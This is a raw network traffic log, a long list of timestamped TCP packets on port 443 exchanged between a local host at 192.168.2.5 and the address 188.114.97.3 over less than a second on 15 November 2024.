Nov 15, 2024 01:01:29.085411072 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.085433960 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.085452080 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.085504055 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.085566044 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.090286016 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.090328932 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.090357065 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.090373993 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.090399027 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.091734886 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.091784000 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.091800928 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.091816902 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.091837883 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.091936111 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.091974974 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.092000961 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.092010021 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.092026949 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.092132092 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.092180014 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.092183113 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.092205048 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.092236042 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.092335939 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.092376947 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.092401981 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.092413902 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.092436075 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.092660904 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.092710972 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.092721939 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.092739105 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.092767000 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.092982054 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.093020916 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.093040943 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.093053102 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.093070984 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.093199968 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.093246937 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.093271971 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.093281031 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.093302965 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.093435049 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.093472004 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.093491077 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.093499899 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.093513012 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.093589067 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.093636036 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.093641996 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.093667030 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.093696117 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.101913929 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.101968050 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.101986885 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.102159023 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.102199078 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.102206945 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.102230072 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.102257013 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.102277040 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.102385998 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.102427006 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.102451086 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.102459908 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.102488995 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.102528095 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.102627993 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.102670908 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.102682114 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.102694035 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.102734089 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.102734089 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.102828026 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.102966070 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.102983952 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.102993011 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.103013039 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.103028059 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.103379965 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.103424072 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.103439093 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.103447914 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.103471041 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.103487015 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.199064016 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.199105978 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.199137926 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.199157000 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.199174881 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.199192047 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.199264050 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.199302912 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.199323893 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.199343920 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.199364901 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.199382067 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.199940920 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.199979067 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.199994087 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.200006962 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.200022936 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.200031042 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.200047016 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.200119019 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.200170040 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.200200081 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.200208902 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.200223923 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.200241089 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.200404882 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.200448990 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.200460911 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.200473070 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.200515032 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.200531006 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.200660944 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.200700045 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.200716972 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.200726032 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.200746059 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.200767040 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.201173067 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.201210976 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.201224089 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.201234102 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.201248884 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.201260090 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.201275110 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.201571941 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.201612949 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.201646090 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.201653957 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.201668978 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.201687098 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.202053070 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.202091932 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.202105045 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.202115059 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.202128887 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.202142954 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.202156067 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.202507019 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.202552080 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.202569962 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.202579021 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.202593088 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.202610016 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.202621937 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.202718973 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.202750921 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.202775955 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.202781916 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.202807903 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.202826977 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.202833891 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.202845097 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.202847004 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.202891111 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.203242064 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.203262091 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.203299046 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.203305960 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.203332901 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.203346968 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.203608036 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.203628063 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.203691006 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.203692913 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.203704119 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.203736067 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.203968048 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.203991890 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.204020023 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.204027891 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.204045057 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.204051018 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.204096079 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.204122066 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.204133987 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.204145908 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.204267025 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.204303980 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.204312086 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.204415083 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.209261894 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.209280968 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.209314108 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.209331989 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.209347963 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.209366083 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.210325956 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.210346937 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.210386038 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.210397005 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.210434914 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.210439920 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.210469961 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.210478067 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.210493088 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.210520029 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.311603069 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.311674118 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.311693907 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.311707020 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.311752081 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.311752081 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.312074900 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.312117100 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.312136889 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.312143087 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.312158108 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.312192917 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.312282085 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.312324047 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.312339067 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.312350035 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.312370062 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.312388897 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.312449932 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.312555075 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.312563896 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.312586069 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.312603951 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.312618017 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.312911987 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.312957048 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.312983990 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.312989950 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.313009977 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.313016891 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.313163042 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.313201904 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.313227892 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.313234091 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.313261032 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.313267946 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.313375950 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.313420057 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.313435078 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.313442945 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.313471079 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.313488007 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.313721895 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.313764095 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.313783884 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.313788891 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.313797951 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.313818932 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.313828945 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.313987970 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.314035892 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.314057112 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.314063072 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.314084053 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.314090014 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.314215899 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.314254999 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.314273119 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.314280033 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.314312935 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.314321995 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.314380884 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.314419031 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.314434052 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.314441919 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.314467907 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.314488888 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.314668894 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.314712048 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.314738035 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.314744949 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.314773083 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.314796925 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.315093040 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.315145016 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.315176010 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.315182924 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.315211058 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.315220118 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.315258026 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.315299988 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.315327883 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.315351009 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.315354109 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.315399885 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.318336010 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.318380117 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.318403006 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.318416119 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.318439960 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.318459988 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.318814993 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.318867922 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.318892956 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.318929911 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.318952084 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.324201107 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.324239969 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.324256897 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.324270010 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.324294090 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.324434042 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.324471951 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.324486017 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.324501991 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.324517012 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.324709892 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.324747086 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.324780941 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.324788094 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.324798107 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.324882030 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.324920893 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.324934006 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.324943066 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.324970961 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.325180054 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.325218916 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.325237989 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.325244904 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.325269938 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.325750113 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.325788021 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.325804949 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.325814962 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.325841904 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.326081038 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.326117992 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.326131105 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.326138973 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.326169968 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.326334953 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.326374054 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.326385021 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.326395988 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.326426029 CET	49868	443	192.168.2.5	188.114.97.3
